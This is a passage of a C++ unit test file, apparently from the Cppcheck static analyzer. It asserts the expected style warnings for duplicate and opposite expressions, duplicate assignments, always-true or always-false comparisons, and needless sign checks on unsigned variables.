ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) 